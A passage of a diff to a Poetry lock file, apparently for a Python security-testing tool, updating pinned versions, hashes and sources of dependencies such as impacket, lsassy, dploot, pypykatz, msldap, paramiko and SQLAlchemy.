{file = "asyauth-0.0.18.tar.gz", hash = "sha256:b7602894fd0667cf1bd3e16a1d71c83f557a4c857ad41bddf30557a59665b4ad"},
|
||||
{file = "asyauth-0.0.20-py3-none-any.whl", hash = "sha256:b4697c5be28869bb5df8ff217564e77a863385ef9495da7cb215deac4ebe9fac"},
|
||||
{file = "asyauth-0.0.20.tar.gz", hash = "sha256:41056020f7689cf5f0a559759c7f02a6ce2719bda84df783bd1058d5781e514b"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
@@ -634,13 +633,13 @@ wmi = ["wmi (>=1.5.1,<2.0.0)"]
|
||||
|
||||
[[package]]
|
||||
name = "dploot"
|
||||
version = "2.2.4"
|
||||
version = "2.7.1"
|
||||
description = "DPAPI looting remotely in Python"
|
||||
optional = false
|
||||
python-versions = ">=3.7,<4.0"
|
||||
python-versions = "<4.0,>=3.7"
|
||||
files = [
|
||||
{file = "dploot-2.2.4-py3-none-any.whl", hash = "sha256:a70c8280972a1fb7150093560093e46a9bb5936396f563ae9050a20dcf1ad96e"},
|
||||
{file = "dploot-2.2.4.tar.gz", hash = "sha256:e34ff928e94416f3cbf688427d1de4aa88a4a4a15f24edb6313a2adc685a98a3"},
|
||||
{file = "dploot-2.7.1-py3-none-any.whl", hash = "sha256:4d557a88c4fd6f6a53f45333ccb853e4125f0bf101d5336937ac1f6c0afb7171"},
|
||||
{file = "dploot-2.7.1.tar.gz", hash = "sha256:bcd2f9c6b6647d83b5d62f0446a0fdeb7eefacc6f71a49a8dd18ef43538d5db6"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
@@ -659,6 +658,20 @@ files = [
|
||||
{file = "dsinternals-1.2.4.tar.gz", hash = "sha256:030f935a70583845f68d6cfc5a22be6ce3300907788ba74faba50d6df859e91d"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dunamai"
|
||||
version = "1.19.2"
|
||||
description = "Dynamic version generation"
|
||||
optional = false
|
||||
python-versions = ">=3.5"
|
||||
files = [
|
||||
{file = "dunamai-1.19.2-py3-none-any.whl", hash = "sha256:bc126b17571a44d68ed826cec596e0f61dc01edca8b21486f70014936a5d44f2"},
|
||||
{file = "dunamai-1.19.2.tar.gz", hash = "sha256:3be4049890763e19b8df1d52960dbea60b3e263eb0c96144a677ae0633734d2e"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
packaging = ">=20.9"
|
||||
|
||||
[[package]]
|
||||
name = "exceptiongroup"
|
||||
version = "1.2.0"
|
||||
@@ -817,7 +830,7 @@ files = [
|
||||
|
||||
[[package]]
|
||||
name = "impacket"
|
||||
version = "0.12.0.dev1+20240215.65950.da6f5255"
|
||||
version = "0.12.0.dev1+20240327.181547.f8899e65"
|
||||
description = "Network protocols Constructors and Dissectors"
|
||||
optional = false
|
||||
python-versions = "*"
|
||||
@@ -826,11 +839,11 @@ develop = false
|
||||
|
||||
[package.dependencies]
|
||||
charset_normalizer = "*"
|
||||
dsinternals = "*"
|
||||
flask = ">=1.0"
|
||||
ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6"
|
||||
ldapdomaindump = ">=0.9.0"
|
||||
pyasn1 = ">=0.2.3"
|
||||
pyasn1_modules = "*"
|
||||
pycryptodomex = "*"
|
||||
pyOpenSSL = ">=21.0.0"
|
||||
setuptools = "*"
|
||||
@@ -838,9 +851,9 @@ six = "*"
|
||||
|
||||
[package.source]
|
||||
type = "git"
|
||||
url = "https://github.com/Pennyw0rth/impacket.git"
|
||||
reference = "gkdi"
|
||||
resolved_reference = "da6f52552b7d15f177587d902b3405e0aa07f22e"
|
||||
url = "https://github.com/fortra/impacket.git"
|
||||
reference = "HEAD"
|
||||
resolved_reference = "f8899e65f16c50b871863528d419cfb701a5a3e3"
|
||||
|
||||
[[package]]
|
||||
name = "importlib-metadata"
|
||||
@@ -933,13 +946,13 @@ ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6"
|
||||
|
||||
[[package]]
|
||||
name = "lsassy"
|
||||
version = "3.1.9"
|
||||
version = "3.1.10"
|
||||
description = "Python library to extract credentials from lsass remotely"
|
||||
optional = false
|
||||
python-versions = ">=3.6"
|
||||
files = [
|
||||
{file = "lsassy-3.1.9-py3-none-any.whl", hash = "sha256:8497168efe43147d639671c5ea3d4b04b7d8c4336f77286b767fca0edca6c830"},
|
||||
{file = "lsassy-3.1.9.tar.gz", hash = "sha256:75d7038915dea31b6380488befedb4081e1fdade9a68d6f7cb5b4cf6c93b9970"},
|
||||
{file = "lsassy-3.1.10-py3-none-any.whl", hash = "sha256:c25bc349f54d10329fae83a65b3c5a679e298883273e319a515916f362068b6c"},
|
||||
{file = "lsassy-3.1.10.tar.gz", hash = "sha256:748ee7e49f792d4532155f3ef0467fe505e0c32386195c5ae6bcaafa699e28f3"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
@@ -1285,13 +1298,13 @@ files = [
|
||||
|
||||
[[package]]
|
||||
name = "msldap"
|
||||
version = "0.5.9"
|
||||
version = "0.5.10"
|
||||
description = "Python library to play with MS LDAP"
|
||||
optional = false
|
||||
python-versions = ">=3.7"
|
||||
files = [
|
||||
{file = "msldap-0.5.9-py3-none-any.whl", hash = "sha256:26c0418086f788c1197341ee31d4ffbc69c057aef339cd91e882ca7c1fb10fcb"},
|
||||
{file = "msldap-0.5.9.tar.gz", hash = "sha256:5f3c4e362296e0e1eba447eda9f230988a7b2a08826f7b3ed34ec9612ebcfe33"},
|
||||
{file = "msldap-0.5.10-py3-none-any.whl", hash = "sha256:263a4bfa832f3b9f27163e5a752151608283745dba22ad8d7c560ae18e0e193b"},
|
||||
{file = "msldap-0.5.10.tar.gz", hash = "sha256:65bfe0e502c94d26f45d366f567cdb62462f27f655bd0ae2f0228fe3c9f989b8"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
@@ -1365,24 +1378,26 @@ files = [
|
||||
|
||||
[[package]]
|
||||
name = "paramiko"
|
||||
version = "3.4.0"
|
||||
version = "2.12.0"
|
||||
description = "SSH2 protocol library"
|
||||
optional = false
|
||||
python-versions = ">=3.6"
|
||||
python-versions = "*"
|
||||
files = [
|
||||
{file = "paramiko-3.4.0-py3-none-any.whl", hash = "sha256:43f0b51115a896f9c00f59618023484cb3a14b98bbceab43394a39c6739b7ee7"},
|
||||
{file = "paramiko-3.4.0.tar.gz", hash = "sha256:aac08f26a31dc4dffd92821527d1682d99d52f9ef6851968114a8728f3c274d3"},
|
||||
{file = "paramiko-2.12.0-py2.py3-none-any.whl", hash = "sha256:b2df1a6325f6996ef55a8789d0462f5b502ea83b3c990cbb5bbe57345c6812c4"},
|
||||
{file = "paramiko-2.12.0.tar.gz", hash = "sha256:376885c05c5d6aa6e1f4608aac2a6b5b0548b1add40274477324605903d9cd49"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
bcrypt = ">=3.2"
|
||||
cryptography = ">=3.3"
|
||||
pynacl = ">=1.5"
|
||||
bcrypt = ">=3.1.3"
|
||||
cryptography = ">=2.5"
|
||||
pynacl = ">=1.0.1"
|
||||
six = "*"
|
||||
|
||||
[package.extras]
|
||||
all = ["gssapi (>=1.4.1)", "invoke (>=2.0)", "pyasn1 (>=0.1.7)", "pywin32 (>=2.1.8)"]
|
||||
all = ["bcrypt (>=3.1.3)", "gssapi (>=1.4.1)", "invoke (>=1.3)", "pyasn1 (>=0.1.7)", "pynacl (>=1.0.1)", "pywin32 (>=2.1.8)"]
|
||||
ed25519 = ["bcrypt (>=3.1.3)", "pynacl (>=1.0.1)"]
|
||||
gssapi = ["gssapi (>=1.4.1)", "pyasn1 (>=0.1.7)", "pywin32 (>=2.1.8)"]
|
||||
invoke = ["invoke (>=2.0)"]
|
||||
invoke = ["invoke (>=1.3)"]
|
||||
|
||||
[[package]]
|
||||
name = "pillow"
|
||||
@@ -1495,6 +1510,25 @@ files = [
|
||||
dev = ["pre-commit", "tox"]
|
||||
testing = ["pytest", "pytest-benchmark"]
|
||||
|
||||
[[package]]
|
||||
name = "poetry-dynamic-versioning"
|
||||
version = "1.2.0"
|
||||
description = "Plugin for Poetry to enable dynamic versioning based on VCS tags"
|
||||
optional = false
|
||||
python-versions = ">=3.7,<4.0"
|
||||
files = [
|
||||
{file = "poetry_dynamic_versioning-1.2.0-py3-none-any.whl", hash = "sha256:8dbef9728d866eb3d1a4edbb29c7ac8abdf96e3ca659473e950e2c016f3785ec"},
|
||||
{file = "poetry_dynamic_versioning-1.2.0.tar.gz", hash = "sha256:1a7bbdba2530499e73dfc6ac0af19de29020ab4aaa3e507573877114e6b71ed6"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
dunamai = ">=1.18.0,<2.0.0"
|
||||
jinja2 = ">=2.11.1,<4"
|
||||
tomlkit = ">=0.4"
|
||||
|
||||
[package.extras]
|
||||
plugin = ["poetry (>=1.2.0,<2.0.0)"]
|
||||
|
||||
[[package]]
|
||||
name = "prompt-toolkit"
|
||||
version = "3.0.43"
|
||||
@@ -1522,17 +1556,17 @@ files = [
|
||||
|
||||
[[package]]
|
||||
name = "pyasn1-modules"
|
||||
version = "0.3.0"
|
||||
description = "A collection of ASN.1-based protocols modules"
|
||||
version = "0.2.8"
|
||||
description = "A collection of ASN.1-based protocols modules."
|
||||
optional = false
|
||||
python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7"
|
||||
python-versions = "*"
|
||||
files = [
|
||||
{file = "pyasn1_modules-0.3.0-py2.py3-none-any.whl", hash = "sha256:d3ccd6ed470d9ffbc716be08bd90efbd44d0734bc9303818f7336070984a162d"},
|
||||
{file = "pyasn1_modules-0.3.0.tar.gz", hash = "sha256:5bd01446b736eb9d31512a30d46c1ac3395d676c6f3cafa4c03eb54b9925631c"},
|
||||
{file = "pyasn1-modules-0.2.8.tar.gz", hash = "sha256:905f84c712230b2c592c19470d3ca8d552de726050d1d1716282a1f6146be65e"},
|
||||
{file = "pyasn1_modules-0.2.8-py2.py3-none-any.whl", hash = "sha256:a50b808ffeb97cb3601dd25981f6b016cbb3d31fbf57a8b8a87428e6158d0c74"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
pyasn1 = ">=0.4.6,<0.6.0"
|
||||
pyasn1 = ">=0.4.6,<0.5.0"
|
||||
|
||||
[[package]]
|
||||
name = "pycodestyle"
|
||||
@@ -1765,25 +1799,25 @@ kerberos = ["pyspnego[kerberos]"]
|
||||
|
||||
[[package]]
|
||||
name = "pypykatz"
|
||||
version = "0.6.9"
|
||||
version = "0.6.6"
|
||||
description = "Python implementation of Mimikatz"
|
||||
optional = false
|
||||
python-versions = ">=3.6"
|
||||
files = [
|
||||
{file = "pypykatz-0.6.9-py3-none-any.whl", hash = "sha256:ea5f43e0e754aacaa47510003c88bc65be2099b08812390b5a83b01aff61b1df"},
|
||||
{file = "pypykatz-0.6.9.tar.gz", hash = "sha256:5e78b671823e0724c5483bee5870d4f7b2a58f031edda4fb3fe5488abea4b64b"},
|
||||
{file = "pypykatz-0.6.6-py3-none-any.whl", hash = "sha256:c2167c06c6e0992b721e5c9e572fc4a847099bca2b179c65d820280cb0d344f9"},
|
||||
{file = "pypykatz-0.6.6.tar.gz", hash = "sha256:7cf7842937d12f5e36448312431a41c88032d3db179660e32004e291cf3622ec"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
aesedb = ">=0.1.4,<=0.2.0"
|
||||
aiosmb = ">=0.4.8,<=0.5.0"
|
||||
aiowinreg = ">=0.0.10,<=0.1.0"
|
||||
minidump = ">=0.0.21,<=0.1.0"
|
||||
minikerberos = ">=0.4.1,<=0.5.0"
|
||||
msldap = ">=0.5.7,<=0.6.0"
|
||||
aesedb = ">=0.1.3"
|
||||
aiosmb = ">=0.4.4"
|
||||
aiowinreg = ">=0.0.7"
|
||||
minidump = ">=0.0.21"
|
||||
minikerberos = ">=0.4.0"
|
||||
msldap = ">=0.4.7"
|
||||
tqdm = "*"
|
||||
unicrypto = ">=0.0.10,<=0.1.0"
|
||||
winacl = ">=0.1.7,<=0.2.0"
|
||||
unicrypto = ">=0.0.10"
|
||||
winacl = ">=0.1.6"
|
||||
|
||||
[[package]]
|
||||
name = "pyspnego"
|
||||
@@ -2002,90 +2036,82 @@ files = [
|
||||
|
||||
[[package]]
|
||||
name = "sqlalchemy"
|
||||
version = "2.0.25"
|
||||
version = "1.4.50"
|
||||
description = "Database Abstraction Library"
|
||||
optional = false
|
||||
python-versions = ">=3.7"
|
||||
python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7"
|
||||
files = [
|
||||
{file = "SQLAlchemy-2.0.25-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:4344d059265cc8b1b1be351bfb88749294b87a8b2bbe21dfbe066c4199541ebd"},
|
||||
{file = "SQLAlchemy-2.0.25-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:6f9e2e59cbcc6ba1488404aad43de005d05ca56e069477b33ff74e91b6319735"},
|
||||
{file = "SQLAlchemy-2.0.25-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:84daa0a2055df9ca0f148a64fdde12ac635e30edbca80e87df9b3aaf419e144a"},
|
||||
{file = "SQLAlchemy-2.0.25-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bc8b7dabe8e67c4832891a5d322cec6d44ef02f432b4588390017f5cec186a84"},
|
||||
{file = "SQLAlchemy-2.0.25-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:f5693145220517b5f42393e07a6898acdfe820e136c98663b971906120549da5"},
|
||||
{file = "SQLAlchemy-2.0.25-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:db854730a25db7c956423bb9fb4bdd1216c839a689bf9cc15fada0a7fb2f4570"},
|
||||
{file = "SQLAlchemy-2.0.25-cp310-cp310-win32.whl", hash = "sha256:14a6f68e8fc96e5e8f5647ef6cda6250c780612a573d99e4d881581432ef1669"},
|
||||
{file = "SQLAlchemy-2.0.25-cp310-cp310-win_amd64.whl", hash = "sha256:87f6e732bccd7dcf1741c00f1ecf33797383128bd1c90144ac8adc02cbb98643"},
|
||||
{file = "SQLAlchemy-2.0.25-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:342d365988ba88ada8af320d43df4e0b13a694dbd75951f537b2d5e4cb5cd002"},
|
||||
{file = "SQLAlchemy-2.0.25-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:f37c0caf14b9e9b9e8f6dbc81bc56db06acb4363eba5a633167781a48ef036ed"},
|
||||
{file = "SQLAlchemy-2.0.25-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:aa9373708763ef46782d10e950b49d0235bfe58facebd76917d3f5cbf5971aed"},
|
||||
{file = "SQLAlchemy-2.0.25-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d24f571990c05f6b36a396218f251f3e0dda916e0c687ef6fdca5072743208f5"},
|
||||
{file = "SQLAlchemy-2.0.25-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:75432b5b14dc2fff43c50435e248b45c7cdadef73388e5610852b95280ffd0e9"},
|
||||
{file = "SQLAlchemy-2.0.25-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:884272dcd3ad97f47702965a0e902b540541890f468d24bd1d98bcfe41c3f018"},
|
||||
{file = "SQLAlchemy-2.0.25-cp311-cp311-win32.whl", hash = "sha256:e607cdd99cbf9bb80391f54446b86e16eea6ad309361942bf88318bcd452363c"},
|
||||
{file = "SQLAlchemy-2.0.25-cp311-cp311-win_amd64.whl", hash = "sha256:7d505815ac340568fd03f719446a589162d55c52f08abd77ba8964fbb7eb5b5f"},
|
||||
{file = "SQLAlchemy-2.0.25-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:0dacf67aee53b16f365c589ce72e766efaabd2b145f9de7c917777b575e3659d"},
|
||||
{file = "SQLAlchemy-2.0.25-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b801154027107461ee992ff4b5c09aa7cc6ec91ddfe50d02bca344918c3265c6"},
|
||||
{file = "SQLAlchemy-2.0.25-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:59a21853f5daeb50412d459cfb13cb82c089ad4c04ec208cd14dddd99fc23b39"},
|
||||
{file = "SQLAlchemy-2.0.25-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:29049e2c299b5ace92cbed0c1610a7a236f3baf4c6b66eb9547c01179f638ec5"},
|
||||
{file = "SQLAlchemy-2.0.25-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:b64b183d610b424a160b0d4d880995e935208fc043d0302dd29fee32d1ee3f95"},
|
||||
{file = "SQLAlchemy-2.0.25-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:4f7a7d7fcc675d3d85fbf3b3828ecd5990b8d61bd6de3f1b260080b3beccf215"},
|
||||
{file = "SQLAlchemy-2.0.25-cp312-cp312-win32.whl", hash = "sha256:cf18ff7fc9941b8fc23437cc3e68ed4ebeff3599eec6ef5eebf305f3d2e9a7c2"},
|
||||
{file = "SQLAlchemy-2.0.25-cp312-cp312-win_amd64.whl", hash = "sha256:91f7d9d1c4dd1f4f6e092874c128c11165eafcf7c963128f79e28f8445de82d5"},
|
||||
{file = "SQLAlchemy-2.0.25-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:bb209a73b8307f8fe4fe46f6ad5979649be01607f11af1eb94aa9e8a3aaf77f0"},
|
||||
{file = "SQLAlchemy-2.0.25-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:798f717ae7c806d67145f6ae94dc7c342d3222d3b9a311a784f371a4333212c7"},
|
||||
{file = "SQLAlchemy-2.0.25-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5fdd402169aa00df3142149940b3bf9ce7dde075928c1886d9a1df63d4b8de62"},
|
||||
{file = "SQLAlchemy-2.0.25-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:0d3cab3076af2e4aa5693f89622bef7fa770c6fec967143e4da7508b3dceb9b9"},
|
||||
{file = "SQLAlchemy-2.0.25-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:74b080c897563f81062b74e44f5a72fa44c2b373741a9ade701d5f789a10ba23"},
|
||||
{file = "SQLAlchemy-2.0.25-cp37-cp37m-win32.whl", hash = "sha256:87d91043ea0dc65ee583026cb18e1b458d8ec5fc0a93637126b5fc0bc3ea68c4"},
|
||||
{file = "SQLAlchemy-2.0.25-cp37-cp37m-win_amd64.whl", hash = "sha256:75f99202324383d613ddd1f7455ac908dca9c2dd729ec8584c9541dd41822a2c"},
|
||||
{file = "SQLAlchemy-2.0.25-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:420362338681eec03f53467804541a854617faed7272fe71a1bfdb07336a381e"},
|
||||
{file = "SQLAlchemy-2.0.25-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:7c88f0c7dcc5f99bdb34b4fd9b69b93c89f893f454f40219fe923a3a2fd11625"},
|
||||
{file = "SQLAlchemy-2.0.25-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a3be4987e3ee9d9a380b66393b77a4cd6d742480c951a1c56a23c335caca4ce3"},
|
||||
{file = "SQLAlchemy-2.0.25-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f2a159111a0f58fb034c93eeba211b4141137ec4b0a6e75789ab7a3ef3c7e7e3"},
|
||||
{file = "SQLAlchemy-2.0.25-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:8b8cb63d3ea63b29074dcd29da4dc6a97ad1349151f2d2949495418fd6e48db9"},
|
||||
{file = "SQLAlchemy-2.0.25-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:736ea78cd06de6c21ecba7416499e7236a22374561493b456a1f7ffbe3f6cdb4"},
|
||||
{file = "SQLAlchemy-2.0.25-cp38-cp38-win32.whl", hash = "sha256:10331f129982a19df4284ceac6fe87353ca3ca6b4ca77ff7d697209ae0a5915e"},
|
||||
{file = "SQLAlchemy-2.0.25-cp38-cp38-win_amd64.whl", hash = "sha256:c55731c116806836a5d678a70c84cb13f2cedba920212ba7dcad53260997666d"},
|
||||
{file = "SQLAlchemy-2.0.25-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:605b6b059f4b57b277f75ace81cc5bc6335efcbcc4ccb9066695e515dbdb3900"},
|
||||
{file = "SQLAlchemy-2.0.25-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:665f0a3954635b5b777a55111ababf44b4fc12b1f3ba0a435b602b6387ffd7cf"},
|
||||
{file = "SQLAlchemy-2.0.25-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ecf6d4cda1f9f6cb0b45803a01ea7f034e2f1aed9475e883410812d9f9e3cfcf"},
|
||||
{file = "SQLAlchemy-2.0.25-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c51db269513917394faec5e5c00d6f83829742ba62e2ac4fa5c98d58be91662f"},
|
||||
{file = "SQLAlchemy-2.0.25-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:790f533fa5c8901a62b6fef5811d48980adeb2f51f1290ade8b5e7ba990ba3de"},
|
||||
{file = "SQLAlchemy-2.0.25-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:1b1180cda6df7af84fe72e4530f192231b1f29a7496951db4ff38dac1687202d"},
|
||||
{file = "SQLAlchemy-2.0.25-cp39-cp39-win32.whl", hash = "sha256:555651adbb503ac7f4cb35834c5e4ae0819aab2cd24857a123370764dc7d7e24"},
|
||||
{file = "SQLAlchemy-2.0.25-cp39-cp39-win_amd64.whl", hash = "sha256:dc55990143cbd853a5d038c05e79284baedf3e299661389654551bd02a6a68d7"},
|
||||
{file = "SQLAlchemy-2.0.25-py3-none-any.whl", hash = "sha256:a86b4240e67d4753dc3092d9511886795b3c2852abe599cffe108952f7af7ac3"},
|
||||
{file = "SQLAlchemy-2.0.25.tar.gz", hash = "sha256:a2c69a7664fb2d54b8682dd774c3b54f67f84fa123cf84dda2a5f40dcaa04e08"},
|
||||
{file = "SQLAlchemy-1.4.50-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:54138aa80d2dedd364f4e8220eef284c364d3270aaef621570aa2bd99902e2e8"},
|
||||
{file = "SQLAlchemy-1.4.50-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d00665725063692c42badfd521d0c4392e83c6c826795d38eb88fb108e5660e5"},
|
||||
{file = "SQLAlchemy-1.4.50-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:85292ff52ddf85a39367057c3d7968a12ee1fb84565331a36a8fead346f08796"},
|
||||
{file = "SQLAlchemy-1.4.50-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:d0fed0f791d78e7767c2db28d34068649dfeea027b83ed18c45a423f741425cb"},
|
||||
{file = "SQLAlchemy-1.4.50-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:db4db3c08ffbb18582f856545f058a7a5e4ab6f17f75795ca90b3c38ee0a8ba4"},
|
||||
{file = "SQLAlchemy-1.4.50-cp310-cp310-win32.whl", hash = "sha256:6c78e3fb4a58e900ec433b6b5f4efe1a0bf81bbb366ae7761c6e0051dd310ee3"},
|
||||
{file = "SQLAlchemy-1.4.50-cp310-cp310-win_amd64.whl", hash = "sha256:d55f7a33e8631e15af1b9e67c9387c894fedf6deb1a19f94be8731263c51d515"},
|
||||
{file = "SQLAlchemy-1.4.50-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:324b1fdd50e960a93a231abb11d7e0f227989a371e3b9bd4f1259920f15d0304"},
|
||||
{file = "SQLAlchemy-1.4.50-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:14b0cacdc8a4759a1e1bd47dc3ee3f5db997129eb091330beda1da5a0e9e5bd7"},
|
||||
{file = "SQLAlchemy-1.4.50-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1fb9cb60e0f33040e4f4681e6658a7eb03b5cb4643284172f91410d8c493dace"},
|
||||
{file = "SQLAlchemy-1.4.50-cp311-cp311-win32.whl", hash = "sha256:8bdab03ff34fc91bfab005e96f672ae207d87e0ac7ee716d74e87e7046079d8b"},
|
||||
{file = "SQLAlchemy-1.4.50-cp311-cp311-win_amd64.whl", hash = "sha256:52e01d60b06f03b0a5fc303c8aada405729cbc91a56a64cead8cb7c0b9b13c1a"},
|
||||
{file = "SQLAlchemy-1.4.50-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:77fde9bf74f4659864c8e26ac08add8b084e479b9a18388e7db377afc391f926"},
|
||||
{file = "SQLAlchemy-1.4.50-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c4cb501d585aa74a0f86d0ea6263b9c5e1d1463f8f9071392477fd401bd3c7cc"},
|
||||
{file = "SQLAlchemy-1.4.50-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8a7a66297e46f85a04d68981917c75723e377d2e0599d15fbe7a56abed5e2d75"},
|
||||
{file = "SQLAlchemy-1.4.50-cp312-cp312-win32.whl", hash = "sha256:e86c920b7d362cfa078c8b40e7765cbc34efb44c1007d7557920be9ddf138ec7"},
|
||||
{file = "SQLAlchemy-1.4.50-cp312-cp312-win_amd64.whl", hash = "sha256:6b3df20fbbcbcd1c1d43f49ccf3eefb370499088ca251ded632b8cbaee1d497d"},
|
||||
{file = "SQLAlchemy-1.4.50-cp36-cp36m-macosx_10_14_x86_64.whl", hash = "sha256:fb9adc4c6752d62c6078c107d23327aa3023ef737938d0135ece8ffb67d07030"},
|
||||
{file = "SQLAlchemy-1.4.50-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c1db0221cb26d66294f4ca18c533e427211673ab86c1fbaca8d6d9ff78654293"},
|
||||
{file = "SQLAlchemy-1.4.50-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0b7dbe6369677a2bea68fe9812c6e4bbca06ebfa4b5cde257b2b0bf208709131"},
|
||||
{file = "SQLAlchemy-1.4.50-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:a9bddb60566dc45c57fd0a5e14dd2d9e5f106d2241e0a2dc0c1da144f9444516"},
|
||||
{file = "SQLAlchemy-1.4.50-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:82dd4131d88395df7c318eeeef367ec768c2a6fe5bd69423f7720c4edb79473c"},
|
||||
{file = "SQLAlchemy-1.4.50-cp36-cp36m-win32.whl", hash = "sha256:1b9c4359d3198f341480e57494471201e736de459452caaacf6faa1aca852bd8"},
|
||||
{file = "SQLAlchemy-1.4.50-cp36-cp36m-win_amd64.whl", hash = "sha256:35e4520f7c33c77f2636a1e860e4f8cafaac84b0b44abe5de4c6c8890b6aaa6d"},
|
||||
{file = "SQLAlchemy-1.4.50-cp37-cp37m-macosx_11_0_x86_64.whl", hash = "sha256:f5b1fb2943d13aba17795a770d22a2ec2214fc65cff46c487790192dda3a3ee7"},
|
||||
{file = "SQLAlchemy-1.4.50-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:273505fcad22e58cc67329cefab2e436006fc68e3c5423056ee0513e6523268a"},
|
||||
{file = "SQLAlchemy-1.4.50-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a3257a6e09626d32b28a0c5b4f1a97bced585e319cfa90b417f9ab0f6145c33c"},
|
||||
{file = "SQLAlchemy-1.4.50-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:d69738d582e3a24125f0c246ed8d712b03bd21e148268421e4a4d09c34f521a5"},
|
||||
{file = "SQLAlchemy-1.4.50-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:34e1c5d9cd3e6bf3d1ce56971c62a40c06bfc02861728f368dcfec8aeedb2814"},
|
||||
{file = "SQLAlchemy-1.4.50-cp37-cp37m-win32.whl", hash = "sha256:7b4396452273aedda447e5aebe68077aa7516abf3b3f48408793e771d696f397"},
|
||||
{file = "SQLAlchemy-1.4.50-cp37-cp37m-win_amd64.whl", hash = "sha256:752f9df3dddbacb5f42d8405b2d5885675a93501eb5f86b88f2e47a839cf6337"},
|
||||
